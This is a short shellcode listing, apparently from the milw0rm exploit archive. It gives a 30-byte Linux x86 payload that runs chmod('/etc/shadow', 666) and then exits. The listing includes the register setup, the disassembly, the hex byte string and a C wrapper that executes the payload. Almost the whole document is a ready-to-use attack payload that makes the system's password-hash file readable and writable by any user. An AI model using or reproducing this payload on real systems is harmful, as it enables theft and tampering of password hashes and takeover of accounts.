linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes

/*
 Linux/x86 - chmod("/etc/shadow",666) & exit(0)
 
Info reg
      ------------------
  %eax = 15
  %ebx = /etc/shadow
  %ecx = 666

      %eax = 1
      %ebx = 0

 Shellcode 30 bytes
 Author: Jonathan Salwan <>
 Web: http://www.shell-storm.org

Disassembly of section .text:

08048054 <.text>:
8048054: 51                    push   %ecx
8048055: 66 b9 b6 01           mov    $0x1b6,%cx
8048059: 68 61 64 6f 77        push   $0x776f6461
804805e: 68 63 2f 73 68        push   $0x68732f63
8048063: 68 2f 2f 65 74        push   $0x74652f2f
8048068: 89 e3                 mov    %esp,%ebx
804806a: 6a 0f                 push   $0xf
804806c: 58                    pop    %eax
804806d: cd 80                 int    $0x80
804806f: 40                    inc    %eax
8048070: cd 80                 int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] =  "\x51\x66\xb9\xb6"
   "\x01\x68\x61\x64"
   "\x6f\x77\x68\x63"  // chmod("/etc/shadow",666)
   "\x2f\x73\x68\x68"
   "\x2f\x2f\x65\x74"
   "\x89\xe3\x6a\x0f"
   "\x58\xcd\x80"

   "\x40\xcd\x80";     // exit(0);

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

# milw0rm